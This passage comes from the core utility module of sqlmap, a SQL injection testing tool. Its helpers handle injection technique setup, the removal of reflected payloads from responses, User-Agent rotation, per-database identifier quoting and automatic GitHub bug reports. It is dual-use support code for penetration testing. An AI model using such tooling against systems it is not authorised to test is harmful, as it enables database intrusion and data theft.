PAYLOAD.TECHNIQUE.STACKED, PAYLOAD.TECHNIQUE.TIME)) def setOptimize(): """ Sets options turned on by switch '-o' """ # conf.predictOutput = True conf.keepAlive = True conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) if not conf.nullConnection: debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'" logger.debug(debugMsg) def saveConfig(conf, filename): """ Saves conf to configuration filename """ config = UnicodeRawConfigParser() userOpts = {} for family in optDict: userOpts[family] = [] for option, value in conf.items(): for family, optionData in optDict.items(): if option in optionData: userOpts[family].append((option, value, optionData[option])) for family, optionData in userOpts.items(): config.add_section(family) optionData.sort() for option, value, datatype in optionData: if datatype and isListLike(datatype): datatype = datatype[0] if option in IGNORE_SAVE_OPTIONS: continue if value is None: if datatype == OPTION_TYPE.BOOLEAN: value = "False" elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT): if option in defaults: value = str(defaults[option]) else: value = '0' elif datatype == OPTION_TYPE.STRING: value = "" if isinstance(value, six.string_types): value = value.replace("\n", "\n ") config.set(family, option, value) with openFile(filename, 'w') as f: try: config.write(f) except IOError as ex: errMsg = "something went wrong while trying " errMsg += "to write to the configuration file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) def initTechnique(technique=None): """ Prepares data for technique specified """ try: data = getTechniqueData(technique) resetCounter(technique) if data: kb.pageTemplate, kb.errorIsNone = getPageTemplate(data.templatePayload, kb.injection.place) kb.matchRatio = data.matchRatio kb.negativeLogic = (technique == PAYLOAD.TECHNIQUE.BOOLEAN) and (data.where == PAYLOAD.WHERE.NEGATIVE) # Restoring stored conf options for key, value in kb.injection.conf.items(): if value and (not hasattr(conf, key) or (hasattr(conf, key) and not getattr(conf, key))): setattr(conf, key, value) debugMsg = "resuming configuration option '%s' (%s)" % (key, ("'%s'" % value) if isinstance(value, six.string_types) else value) logger.debug(debugMsg) if value and key == "optimize": setOptimize() else: warnMsg = "there is no injection data available for technique " warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique) logger.warning(warnMsg) except SqlmapDataException: errMsg = "missing data in old session file(s). " errMsg += "Please use '--flush-session' to deal " errMsg += "with this error" raise SqlmapNoneDataException(errMsg) def arrayizeValue(value): """ Makes a list out of value if it is not already a list or tuple itself >>> arrayizeValue('1') ['1'] """ if isinstance(value, _collections.KeysView): value = [_ for _ in value] elif not isListLike(value): value = [value] return value def unArrayizeValue(value): """ Makes a value out of iterable if it is a list or tuple itself >>> unArrayizeValue(['1']) '1' >>> unArrayizeValue('1') '1' >>> unArrayizeValue(['1', '2']) '1' >>> unArrayizeValue([['a', 'b'], 'c']) 'a' >>> unArrayizeValue(_ for _ in xrange(10)) 0 """ if isListLike(value): if not value: value = None elif len(value) == 1 and not isListLike(value[0]): value = value[0] else: value = [_ for _ in flattenValue(value) if _ is not None] value = value[0] if len(value) > 0 else None elif inspect.isgenerator(value): value = unArrayizeValue([_ for _ in value]) return value def flattenValue(value): """ Returns an iterator representing flat representation of a given value >>> [_ for _ in flattenValue([['1'], [['2'], '3']])] ['1', '2', '3'] """ for i in iter(value): if isListLike(i): for j in flattenValue(i): yield j else: yield i def joinValue(value, delimiter=','): """ Returns a value consisting of joined parts of a given value >>> joinValue(['1', '2']) '1,2' >>> joinValue('1') '1' >>> joinValue(['1', None]) '1,None' """ if isListLike(value): retVal = delimiter.join(getText(_ if _ is not None else "None") for _ in value) else: retVal = value return retVal def isListLike(value): """ Returns True if the given value is a list-like instance >>> isListLike([1, 2, 3]) True >>> isListLike('2') False """ return isinstance(value, (list, tuple, set, OrderedSet, BigArray)) def getSortedInjectionTests(): """ Returns prioritized test list by eventually detected DBMS from error messages >>> pushValue(kb.forcedDbms) >>> kb.forcedDbms = DBMS.SQLITE >>> [test for test in getSortedInjectionTests() if hasattr(test, "details") and hasattr(test.details, "dbms")][0].details.dbms == kb.forcedDbms True >>> kb.forcedDbms = popValue() """ retVal = copy.deepcopy(conf.tests) def priorityFunction(test): retVal = SORT_ORDER.FIRST if test.stype == PAYLOAD.TECHNIQUE.UNION: retVal = SORT_ORDER.LAST elif "details" in test and "dbms" in (test.details or {}): if intersect(test.details.dbms, Backend.getIdentifiedDbms()): retVal = SORT_ORDER.SECOND else: retVal = SORT_ORDER.THIRD return retVal if Backend.getIdentifiedDbms(): retVal = sorted(retVal, key=priorityFunction) return retVal def filterListValue(value, regex): """ Returns list with items that have parts satisfying given regular expression >>> filterListValue(['users', 'admins', 'logs'], r'(users|admins)') ['users', 'admins'] """ if isinstance(value, list) and regex: retVal = [_ for _ in value if re.search(regex, _, re.I)] else: retVal = value return retVal def showHttpErrorCodes(): """ Shows all HTTP error codes raised till now """ if kb.httpErrorCodes: warnMsg = "HTTP error codes detected during run:\n" warnMsg += ", ".join("%d (%s) - %d times" % (code, _http_client.responses[code] if code in _http_client.responses else '?', count) for code, count in kb.httpErrorCodes.items()) logger.warning(warnMsg) if any((str(_).startswith('4') or str(_).startswith('5')) and _ != _http_client.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes): msg = "too many 4xx and/or 5xx HTTP error codes " msg += "could mean that some kind of protection is involved (e.g. WAF)" logger.debug(msg) def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", buffering=1): # "buffering=1" means line buffered (Reference: http://stackoverflow.com/a/3168436) """ Returns file handle of a given filename >>> "openFile" in openFile(__file__).read() True >>> b"openFile" in openFile(__file__, "rb", None).read() True """ # Reference: https://stackoverflow.com/a/37462452 if 'b' in mode: buffering = 0 encoding = None if filename == STDIN_PIPE_DASH: if filename not in kb.cache.content: kb.cache.content[filename] = sys.stdin.read() return contextlib.closing(io.StringIO(readCachedFileContent(filename))) else: try: return codecs_open(filename, mode, encoding, errors, buffering) except IOError: errMsg = "there has been a file opening error for filename '%s'. " % filename errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") errMsg += "and that it's not locked by another process" raise SqlmapSystemException(errMsg) def decodeIntToUnicode(value): """ Decodes inferenced integer value to an unicode character >>> decodeIntToUnicode(35) == '#' True >>> decodeIntToUnicode(64) == '@' True """ retVal = value if isinstance(value, int): try: if value > 255: _ = "%x" % value if len(_) % 2 == 1: _ = "0%s" % _ raw = decodeHex(_) if Backend.isDbms(DBMS.MYSQL): # Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord # Note: https://github.com/sqlmapproject/sqlmap/issues/1531 retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING) elif Backend.isDbms(DBMS.MSSQL): # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 retVal = getUnicode(raw, "UTF-16-BE") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) retVal = _unichr(value) else: retVal = getUnicode(raw, conf.encoding) else: retVal = _unichr(value) except: retVal = INFERENCE_UNKNOWN_CHAR return retVal def getDaysFromLastUpdate(): """ Get total number of days from last update >>> getDaysFromLastUpdate() >= 0 True """ if not paths: return return int(time.time() - os.path.getmtime(paths.SQLMAP_SETTINGS_PATH)) // (3600 * 24) def unhandledExceptionMessage(): """ Returns detailed message about occurred unhandled exception >>> all(_ in unhandledExceptionMessage() for _ in ("unhandled exception occurred", "Operating system", "Command line")) True """ errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING errMsg += "run with the latest development version from official GitHub " errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE errMsg += "at '%s' " % ISSUES_PAGE errMsg += "with the following text and any other information required to " errMsg += "reproduce the bug. Developers will try to reproduce the bug, fix it accordingly " errMsg += "and get back to you\n" errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % platform.platform() errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None))) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS:" if Backend.getDbms() is not None: errMsg += " %s (fingerprinted)" % Backend.getDbms() if Backend.getIdentifiedDbms() is not None and (Backend.getDbms() is None or Backend.getIdentifiedDbms() != Backend.getDbms()): errMsg += " %s (identified)" % Backend.getIdentifiedDbms() if not errMsg.endswith(')'): errMsg += " None" return errMsg def getLatestRevision(): """ Retrieves latest revision from the offical repository """ retVal = None req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py", headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: content = getUnicode(_urllib.request.urlopen(req).read()) retVal = extractRegexResult(r"VERSION\s*=\s*[\"'](?P[\d.]+)", content) except: pass return retVal def fetchRandomAgent(): """ Returns random HTTP User-Agent header value >>> '(' in fetchRandomAgent() True """ if not kb.userAgents: debugMsg = "loading random HTTP User-Agent header(s) from " debugMsg += "file '%s'" % paths.USER_AGENTS logger.debug(debugMsg) try: kb.userAgents = getFileItems(paths.USER_AGENTS) except IOError: errMsg = "unable to read HTTP User-Agent header " errMsg += "file '%s'" % paths.USER_AGENTS raise SqlmapSystemException(errMsg) return random.sample(kb.userAgents, 1)[0] def createGithubIssue(errMsg, excMsg): """ Automatically create a Github issue with unhandled exception information """ try: issues = getFileItems(paths.GITHUB_HISTORY, unique=True) except: issues = [] finally: issues = set(issues) _ = re.sub(r"'[^']+'", "''", excMsg) _ = re.sub(r"\s+line \d+", "", _) _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) _ = re.sub(r".+\Z", "", _) _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) _ = re.sub(r"= _", "= ", _) key = hashlib.md5(getBytes(_)).hexdigest()[:8] if key in issues: return msg = "\ndo you want to automatically create a new (anonymized) issue " msg += "with the unhandled exception information at " msg += "the official Github repository? [y/N] " try: choice = readInput(msg, default='N', checkBatch=False, boolean=True) except: choice = None if choice: _excMsg = None errMsg = errMsg[errMsg.find("\n"):] req = _urllib.request.Request(url="https://api.github.com/search/issues?q=%s" % _urllib.parse.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key), headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: content = _urllib.request.urlopen(req).read() _ = json.loads(content) duplicate = _["total_count"] > 0 closed = duplicate and _["items"][0]["state"] == "closed" if duplicate: warnMsg = "issue seems to be already reported" if closed: warnMsg += " and resolved. Please update to the latest " warnMsg += "development version from official GitHub repository at '%s'" % GIT_PAGE logger.warning(warnMsg) return except: pass data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_OAUTH_TOKEN[::-1], binary=True))[0::2][::-1]) req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % token, HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: content = getText(_urllib.request.urlopen(req).read()) except Exception as ex: content = None _excMsg = getSafeExString(ex) issueUrl = re.search(r"https://github.com/sqlmapproject/sqlmap/issues/\d+", content or "") if issueUrl: infoMsg = "created Github issue can been found at the address '%s'" % issueUrl.group(0) logger.info(infoMsg) try: with openFile(paths.GITHUB_HISTORY, "a+") as f: f.write("%s\n" % key) except: pass else: warnMsg = "something went wrong while creating a Github issue" if _excMsg: warnMsg += " ('%s')" % _excMsg if "Unauthorized" in warnMsg: warnMsg += ". Please update to the latest revision" logger.warning(warnMsg) def maskSensitiveData(msg): """ Masks sensitive data in the supplied message >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner' True >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index --auth-type=basic --auth-creds=foo:bar\\ndummy line') == 'sqlmap.py -u ************************** --auth-type=***** --auth-creds=*******\\ndummy line' True """ retVal = getUnicode(msg) for item in filterNone(conf.get(_) for _ in SENSITIVE_OPTIONS): if isListLike(item): item = listToStrValue(item) regex = SENSITIVE_DATA_REGEX % re.sub(r"(\W)", r"\\\1", getUnicode(item)) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) retVal = retVal.replace(value, '*' * len(value)) # Just in case (for problematic parameters regarding user encoding) for match in re.finditer(r"(?im)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|$)", retVal): retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) # Fail-safe substitutions retVal = re.sub(r"(?i)(Command line:.+)\b(https?://[^ ]+)", lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) retVal = re.sub(r"(?i)(\b\w:[\\/]+Users[\\/]+|[\\/]+home[\\/]+)([^\\/]+)", lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) if getpass.getuser(): retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal) return retVal def listToStrValue(value): """ Flattens list to a string value >>> listToStrValue([1,2,3]) '1, 2, 3' """ if isinstance(value, (set, tuple, types.GeneratorType)): value = list(value) if isinstance(value, list): retVal = value.__str__().lstrip('[').rstrip(']') else: retVal = value return retVal def intersect(containerA, containerB, lowerCase=False): """ Returns intersection of the container-ized values >>> intersect([1, 2, 3], set([1,3])) [1, 3] """ retVal = [] if containerA and containerB: containerA = arrayizeValue(containerA) containerB = arrayizeValue(containerB) if lowerCase: containerA = [val.lower() if hasattr(val, "lower") else val for val in containerA] containerB = [val.lower() if hasattr(val, "lower") else val for val in containerB] retVal = [val for val in containerA if val in containerB] return retVal def decodeStringEscape(value): """ Decodes escaped string values (e.g. "\\t" -> "\t") """ retVal = value if value and '\\' in value: charset = "\\%s" % string.whitespace.replace(" ", "") for _ in charset: retVal = retVal.replace(repr(_).strip("'"), _) return retVal def encodeStringEscape(value): """ Encodes escaped string values (e.g. "\t" -> "\\t") """ retVal = value if value: charset = "\\%s" % string.whitespace.replace(" ", "") for _ in charset: retVal = retVal.replace(_, repr(_).strip("'")) return retVal def removeReflectiveValues(content, payload, suppressWarning=False): """ Neutralizes reflective values in a given content based on a payload (e.g. ..search.php?q=1 AND 1=2 --> "...searching for 1%20AND%201%3D2..." --> "...searching for __REFLECTED_VALUE__...") """ retVal = content try: if all((content, payload)) and isinstance(content, six.text_type) and kb.reflectiveMechanism and not kb.heuristicMode: def _(value): while 2 * REFLECTED_REPLACEMENT_REGEX in value: value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) return value payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True)) regex = _(filterStringValue(payload, r"[A-Za-z0-9]", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX))) # NOTE: special case when part of the result shares the same output as the payload (e.g. ?id=1... and "sqlmap/1.0-dev (http://sqlmap.org)") preserve = extractRegexResult(r"%s(?P.+?)%s" % (kb.chars.start, kb.chars.stop), content) if preserve: content = content.replace(preserve, REPLACEMENT_MARKER) if regex != payload: if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check parts = regex.split(REFLECTED_REPLACEMENT_REGEX) # Note: naive approach retVal = content.replace(payload, REFLECTED_VALUE_MARKER) retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER) if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) parts = filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX)) if regex.startswith(REFLECTED_REPLACEMENT_REGEX): regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):]) else: regex = r"\b%s" % regex if regex.endswith(REFLECTED_REPLACEMENT_REGEX): regex = r"%s%s" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX) else: regex = r"%s\b" % regex _retVal = [retVal] def _thread(regex): try: _retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) if len(parts) > 2: regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:]) _retVal[0] = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) except KeyboardInterrupt: raise except: pass thread = threading.Thread(target=_thread, args=(regex,)) thread.daemon = True thread.start() thread.join(REFLECTED_REPLACEMENT_TIMEOUT) if thread.is_alive(): kb.reflectiveMechanism = False retVal = content if not suppressWarning: debugMsg = "turning off reflection removal mechanism (because of timeouts)" logger.debug(debugMsg) else: retVal = _retVal[0] if retVal != content: kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 if not suppressWarning: warnMsg = "reflective value(s) found and filtering out" singleTimeWarnMessage(warnMsg) if re.search(r"(?i)FRAME[^>]+src=[^>]*%s" % REFLECTED_VALUE_MARKER, retVal): warnMsg = "frames detected containing attacked parameter values. Please be sure to " warnMsg += "test those separately in case that attack on this page fails" singleTimeWarnMessage(warnMsg) elif not kb.testMode and not kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT]: kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] += 1 if kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] > REFLECTIVE_MISS_THRESHOLD: kb.reflectiveMechanism = False if not suppressWarning: debugMsg = "turning off reflection removal mechanism (for optimization purposes)" logger.debug(debugMsg) if preserve and retVal: retVal = retVal.replace(REPLACEMENT_MARKER, preserve) except (MemoryError, SystemError): kb.reflectiveMechanism = False if not suppressWarning: debugMsg = "turning off reflection removal mechanism" logger.debug(debugMsg) return retVal def normalizeUnicode(value, charset=string.printable[:string.printable.find(' ') + 1]): """ Does an ASCII normalization of unicode strings # Reference: http://www.peterbe.com/plog/unicode-to-ascii >>> normalizeUnicode(u'\\u0161u\\u0107uraj') == u'sucuraj' True >>> normalizeUnicode(getUnicode(decodeHex("666f6f00626172"))) == u'foobar' True """ retVal = value if isinstance(value, six.text_type): retVal = unicodedata.normalize("NFKD", value) retVal = "".join(_ for _ in retVal if _ in charset) return retVal def safeSQLIdentificatorNaming(name, isTable=False): """ Returns a safe representation of SQL identificator name (internal data format) # Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal >>> pushValue(kb.forcedDbms) >>> kb.forcedDbms = DBMS.MSSQL >>> getText(safeSQLIdentificatorNaming("begin")) '[begin]' >>> getText(safeSQLIdentificatorNaming("foobar")) 'foobar' >>> kb.forceDbms = popValue() """ retVal = name if conf.unsafeNaming: return retVal if isinstance(name, six.string_types): retVal = getUnicode(name) _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) if _: retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal) # Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf) if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) if not conf.noEscape: retVal = unsafeSQLIdentificatorNaming(retVal) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = "\"%s\"" % retVal.upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if isTable: parts = retVal.split('.', 1) for i in xrange(len(parts)): if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords): parts[i] = "[%s]" % parts[i] retVal = '.'.join(parts) else: if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords: retVal = "[%s]" % retVal if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): if (conf.db or "").lower() != "information_schema": # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192 retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) return retVal def unsafeSQLIdentificatorNaming(name): """ Extracts identificator's name from its safe SQL representation >>> pushValue(kb.forcedDbms) >>> kb.forcedDbms = DBMS.MSSQL >>> getText(unsafeSQLIdentificatorNaming("[begin]")) 'begin' >>> getText(unsafeSQLIdentificatorNaming("foobar")) 'foobar' >>> kb.forceDbms = popValue() """ retVal = name if isinstance(name, six.string_types): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER): retVal = name.replace("`", "") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = name.replace("\"", "").upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) return retVal def isNoneValue(value): """ Returns whether the value is unusable (None or '') >>> isNoneValue(None) True >>> isNoneValue('None') True >>> isNoneValue('') True >>> isNoneValue([]) True >>> isNoneValue([2]) False """ if isinstance(value, six.string_types): return value in ("None", "") elif isListLike(value): return all(isNoneValue(_) for _ in value) elif isinstance(value, dict): return not any(value) else: return value is None def isNullValue(value): """ Returns whether the value contains explicit 'NULL' value >>> isNullValue(u'NULL') True >>> isNullValue(u'foobar') False """ return hasattr(value, "upper") and value.upper() == NULL def expandMnemonics(mnemonics, parser, args): """ Expands mnemonic options """ class MnemonicNode(object): def __init__(self): self.next = {} self.current = [] head = MnemonicNode() pointer = None for group in parser.option_groups: for option in group.option_list: for opt in option._long_opts + option._short_opts: pointer = head for char in opt: if char == "-": continue elif char not in pointer.next: pointer.next[char] = MnemonicNode() pointer = pointer.next[char] pointer.current.append(option) for mnemonic in (mnemonics or "").split(','): found = None name = mnemonic.split('=')[0].replace('-', "").strip() value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None pointer = head for char in name: if char in pointer.next: pointer = pointer.next[char] else: pointer = None break if pointer in (None, head): errMsg = "mnemonic '%s' can't be resolved to any parameter name" % name raise SqlmapSyntaxException(errMsg) elif len(pointer.current) > 1: options = {} for option in pointer.current: for opt in option._long_opts + option._short_opts: opt = opt.strip('-') if opt.startswith(name): options[opt] = option if not options: warnMsg = "mnemonic '%s' can't be resolved" % name logger.warning(warnMsg) elif name in options: found = name debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) logger.debug(debugMsg) else: found = sorted(options.keys(), key=len)[0] warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options)) warnMsg += "Resolved to shortest of those ('%s')" % found logger.warning(warnMsg) if found: found = options[found] else: found = pointer.current[0] debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) logger.debug(debugMsg) if found: try: value = found.convert_value(found, value) except OptionValueError: value = None if value is not None: setattr(args, found.dest, value) elif not found.type: # boolean setattr(args, found.dest, True) else: errMsg = "mnemonic '%s' requires value of type '%s'" % (name, found.type) raise SqlmapSyntaxException(errMsg) def safeCSValue(value): """ Returns value safe for CSV dumping # Reference: http://tools.ietf.org/html/rfc4180 >>> safeCSValue('foo, bar') '"foo, bar"' >>> safeCSValue('foobar') 'foobar' """ retVal = value if retVal and isinstance(retVal, six.string_types): if not (retVal[0] == retVal[-1] == '"'): if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')): retVal = '"%s"' % retVal.replace('"', '""') return retVal def filterPairValues(values): """ Returns only list-like values with length 2 >>> filterPairValues([[1, 2], [3], 1, [4, 5]]) [[1, 2], [4, 5]] """ retVal = [] if not isNoneValue(values) and hasattr(values, '__iter__'): retVal = [value for value in values if isinstance(value, (tuple, list, set)) and len(value) == 2] return retVal def randomizeParameterValue(value): """ Randomize a parameter value based on occurrences of alphanumeric characters >>> random.seed(0) >>> randomizeParameterValue('foobar') 'fupgpy' >>> randomizeParameterValue('17') '36' """ retVal = value retVal = re.sub(r"%[0-9a-fA-F]{2}", "", retVal) def _replace_upper(match): original = match.group() while True: candidate = randomStr(len(original)).upper() if candidate != original: return candidate def _replace_lower(match): original = match.group() while True: candidate = randomStr(len(original)).lower() if candidate != original: return candidate def _replace_digit(match): original = match.group() while True: candidate = str(randomInt(len(original))) if candidate != original: return candidate retVal = re.sub(r"[A-Z]+", _replace_upper, retVal) retVal = re.sub(r"[a-z]+", _replace_lower, retVal) retVal = re.sub(r"[0-9]+", _replace_digit, retVal) if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value): parts = retVal.split('.') parts[-1] = random.sample(RANDOMIZATION_TLDS, 1)[0] retVal = '.'.join(parts) if not retVal: retVal = randomStr(lowercase=True) return retVal @cachedmethod def asciifyUrl(url, forceQuote=False): """ Attempts to make a unicode URL usable with ``urllib/urllib2``. More specifically, it attempts to convert the unicode object ``url``, which is meant to represent a IRI, to an unicode object that, containing only ASCII characters, is a valid URI. This involves: * IDNA/Puny-encoding the domain name. * UTF8-quoting the path and querystring parts. See also RFC 3987. # Reference: http://blog.elsdoerfer.name/2008/12/12/opening-iris-in-python/ >>> asciifyUrl(u'http://www.\\u0161u\\u0107uraj.com') 'http://www.xn--uuraj-gxa24d.com' """ parts = _urllib.parse.urlsplit(url) if not all((parts.scheme, parts.netloc, parts.hostname)): # apparently not an url return getText(url) if all(char in string.printable for char in url): return getText(url) hostname = parts.hostname if isinstance(hostname, six.binary_type): hostname = getUnicode(hostname) # idna-encode domain try: hostname = hostname.encode("idna") except: hostname = hostname.encode("punycode") # UTF8-quote the other parts. We check each part individually if # if needs to be quoted - that should catch some additional user # errors, say for example an umlaut in the username even though # the path *is* already quoted. def quote(s, safe): s = s or '' # Triggers on non-ascii characters - another option would be: # _urllib.parse.quote(s.replace('%', '')) != s.replace('%', '') # which would trigger on all %-characters, e.g. "&". if getUnicode(s).encode("ascii", "replace") != s or forceQuote: s = _urllib.parse.quote(getBytes(s), safe=safe) return s username = quote(parts.username, '') password = quote(parts.password, safe='') path = quote(parts.path, safe='/') query = quote(parts.query, safe="&=") # put everything back together netloc = getText(hostname) if username or password: netloc = '@' + netloc if password: netloc = ':' + password + netloc netloc = username + netloc try: port = parts.port except: port = None if port: netloc += ':' + str(port) return getText(_urllib.parse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url) def isAdminFromPrivileges(privileges): """ Inspects privileges to see if those are coming from an admin user """ privileges = privileges or [] # In PostgreSQL the usesuper privilege means that the # user is DBA retVal = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges) # In Oracle the DBA privilege means that the # user is DBA retVal |= (Backend.isDbms(DBMS.ORACLE) and "DBA" in privileges) # In MySQL >= 5.0 the SUPER privilege means # that the user is DBA retVal |= (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema and "SUPER" in privileges) # In MySQL < 5.0 the super_priv privilege means # that the user is DBA retVal |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema and "super_priv" in privileges) # In Firebird there is no specific privilege that means # that the user is DBA retVal |= (Backend.isDbms(DBMS.FIREBIRD) and all(_ in privileges for _ in ("SELECT", "INSERT", "UPDATE", "DELETE", "REFERENCES", "EXECUTE"))) return retVal def findPageForms(content, url, raiseException=False, addToTargets=False): """ Parses given page content for possible forms (Note: still not implemented for Python3) >>> findPageForms('
